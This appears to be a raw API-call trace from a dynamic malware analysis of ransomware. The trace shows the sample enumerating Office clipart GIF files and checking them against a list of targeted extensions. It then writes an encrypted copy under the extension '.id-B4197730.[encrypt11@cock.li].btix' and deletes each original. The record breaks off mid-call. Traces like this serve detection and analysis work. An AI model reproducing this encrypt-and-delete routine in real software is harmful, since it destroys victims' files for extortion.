[0051.162] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.163] lstrlenW (lpString=".zip") returned 4 [0051.163] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.163] lstrlenW (lpString=".rar") returned 4 [0051.163] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.163] lstrlenW (lpString=".bz2") returned 4 [0051.163] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.163] lstrlenW (lpString=".7z") returned 3 [0051.163] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.163] lstrlenW (lpString=".dbf") returned 4 [0051.163] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.163] lstrlenW (lpString=".1cd") returned 4 [0051.163] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.163] lstrlenW (lpString=".jpg") returned 4 [0051.163] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.163] lstrlenW (lpString=".doc") returned 4 [0051.163] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.163] lstrlenW (lpString=".docx") returned 5 [0051.163] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.163] lstrlenW (lpString=".pdf") returned 4 [0051.163] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.163] lstrlenW (lpString=".xls") returned 4 [0051.163] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.163] lstrlenW (lpString=".xlsx") returned 5 [0051.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.163] lstrlenW (lpString=".ppt") returned 4 [0051.163] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.164] lstrlenW (lpString=".zip") returned 4 [0051.164] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.164] lstrlenW (lpString=".rar") returned 4 [0051.164] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.164] lstrlenW (lpString=".bz2") returned 4 [0051.164] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.164] lstrlenW (lpString=".7z") returned 3 [0051.164] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.164] lstrlenW (lpString=".dbf") returned 4 [0051.164] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.164] lstrlenW (lpString=".1cd") returned 4 [0051.164] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.164] lstrlenW (lpString=".jpg") returned 4 [0051.164] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.164] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.164] lstrlenW (lpString="AG00126_.GIF") returned 12 [0051.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.164] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=3140) returned 1 [0051.165] CloseHandle (hObject=0x308) returned 1 [0051.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0051.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.165] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.165] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0051.166] GetLastError () returned 0x0 [0051.166] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xc44, lpOverlapped=0x0) returned 1 [0051.281] WriteFile (in: hFile=0x394, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xc50, lpOverlapped=0x0) returned 1 [0051.282] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.283] WriteFile (in: hFile=0x394, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.283] SetEndOfFile (hFile=0x394) returned 1 [0051.283] CloseHandle (hObject=0x394) returned 1 [0051.284] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.284] SetEndOfFile (hFile=0x308) returned 1 [0051.285] CloseHandle (hObject=0x308) returned 1 [0051.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0051.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.286] lstrlenW (lpString=".doc") returned 4 [0051.286] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.286] lstrlenW (lpString=".docx") returned 5 [0051.286] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.286] lstrlenW (lpString=".pdf") returned 4 [0051.286] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString=".xls") returned 4 [0051.286] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString=".xlsx") returned 5 [0051.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.286] lstrlenW (lpString=".ppt") returned 4 [0051.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.286] lstrlenW (lpString=".zip") returned 4 [0051.286] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString=".rar") returned 4 [0051.286] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString=".bz2") returned 4 [0051.286] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.286] lstrlenW (lpString=".7z") returned 3 [0051.286] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.286] lstrlenW (lpString=".dbf") returned 4 [0051.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.287] lstrlenW (lpString=".1cd") returned 4 [0051.287] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.287] lstrlenW (lpString=".jpg") returned 4 [0051.287] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.287] lstrlenW (lpString=".doc") returned 4 [0051.287] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.287] lstrlenW (lpString=".docx") returned 5 [0051.287] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.287] lstrlenW (lpString=".pdf") returned 4 [0051.287] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.287] lstrlenW (lpString=".xls") returned 4 [0051.287] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.287] lstrlenW (lpString=".xlsx") returned 5 [0051.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.287] lstrlenW (lpString=".ppt") returned 4 [0051.287] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.287] lstrlenW (lpString=".zip") returned 4 [0051.287] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.287] lstrlenW (lpString=".rar") returned 4 [0051.288] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.288] lstrlenW (lpString=".bz2") returned 4 [0051.288] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.288] lstrlenW (lpString=".7z") returned 3 [0051.288] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.288] lstrlenW (lpString=".dbf") returned 4 [0051.288] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.288] lstrlenW (lpString=".1cd") returned 4 [0051.288] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0051.288] lstrlenW (lpString=".jpg") returned 4 [0051.288] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.288] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.288] lstrlenW (lpString="AG00139_.GIF") returned 12 [0051.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.289] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=10607) returned 1 [0051.289] CloseHandle (hObject=0x308) returned 1 [0051.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0051.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.289] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.289] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0051.290] GetLastError () returned 0x0 [0051.290] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x296f, lpOverlapped=0x0) returned 1 [0051.384] WriteFile (in: hFile=0x394, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x2970, lpOverlapped=0x0) returned 1 [0051.385] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.385] WriteFile (in: hFile=0x394, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.385] SetEndOfFile (hFile=0x394) returned 1 [0051.402] CloseHandle (hObject=0x394) returned 1 [0051.410] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.410] SetEndOfFile (hFile=0x308) returned 1 [0051.421] CloseHandle (hObject=0x308) returned 1 [0051.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0051.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.423] lstrlenW (lpString=".doc") returned 4 [0051.423] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.423] lstrlenW (lpString=".docx") returned 5 [0051.423] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.423] lstrlenW (lpString=".pdf") returned 4 [0051.423] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.423] lstrlenW (lpString=".xls") returned 4 [0051.423] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.423] lstrlenW (lpString=".xlsx") returned 5 [0051.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.423] lstrlenW (lpString=".ppt") returned 4 [0051.424] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.424] lstrlenW (lpString=".zip") returned 4 [0051.424] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.424] lstrlenW (lpString=".rar") returned 4 [0051.424] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.424] lstrlenW (lpString=".bz2") returned 4 [0051.424] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.424] lstrlenW (lpString=".7z") returned 3 [0051.424] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.424] lstrlenW (lpString=".dbf") returned 4 [0051.424] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.424] lstrlenW (lpString=".1cd") returned 4 [0051.424] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.424] lstrlenW (lpString=".jpg") returned 4 [0051.424] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.424] lstrlenW (lpString=".doc") returned 4 [0051.424] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.424] lstrlenW (lpString=".docx") returned 5 [0051.424] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.424] lstrlenW (lpString=".pdf") returned 4 [0051.424] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.424] lstrlenW (lpString=".xls") returned 4 [0051.424] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.424] lstrlenW (lpString=".xlsx") returned 5 [0051.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.425] lstrlenW (lpString=".ppt") returned 4 [0051.425] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.425] lstrlenW (lpString=".zip") returned 4 [0051.425] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.425] lstrlenW (lpString=".rar") returned 4 [0051.425] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.425] lstrlenW (lpString=".bz2") returned 4 [0051.425] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.425] lstrlenW (lpString=".7z") returned 3 [0051.425] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.425] lstrlenW (lpString=".dbf") returned 4 [0051.425] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.425] lstrlenW (lpString=".1cd") returned 4 [0051.425] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0051.425] lstrlenW (lpString=".jpg") returned 4 [0051.425] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.425] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.425] lstrlenW (lpString="AG00158_.GIF") returned 12 [0051.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0051.432] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=5030) returned 1 [0051.432] CloseHandle (hObject=0x2e0) returned 1 [0051.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0051.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.436] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.436] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.437] GetLastError () returned 0x0 [0051.437] ReadFile (in: hFile=0x350, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x13a6, lpOverlapped=0x0) returned 1 [0051.597] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13b0, lpOverlapped=0x0) returned 1 [0051.598] ReadFile (in: hFile=0x350, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.598] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.598] SetEndOfFile (hFile=0x32c) returned 1 [0051.598] CloseHandle (hObject=0x32c) returned 1 [0051.599] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.599] SetEndOfFile (hFile=0x350) returned 1 [0051.599] CloseHandle (hObject=0x350) returned 1 [0051.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0051.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.600] lstrlenW (lpString=".doc") returned 4 [0051.600] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.600] lstrlenW (lpString=".docx") returned 5 [0051.600] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.600] lstrlenW (lpString=".pdf") returned 4 [0051.600] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.600] lstrlenW (lpString=".xls") returned 4 [0051.600] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.600] lstrlenW (lpString=".xlsx") returned 5 [0051.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.600] lstrlenW (lpString=".ppt") returned 4 [0051.600] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.601] lstrlenW (lpString=".zip") returned 4 [0051.601] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.601] lstrlenW (lpString=".rar") returned 4 [0051.601] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.601] lstrlenW (lpString=".bz2") returned 4 [0051.601] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.601] lstrlenW (lpString=".7z") returned 3 [0051.601] lstrcmpiW (lpString1=".7z", 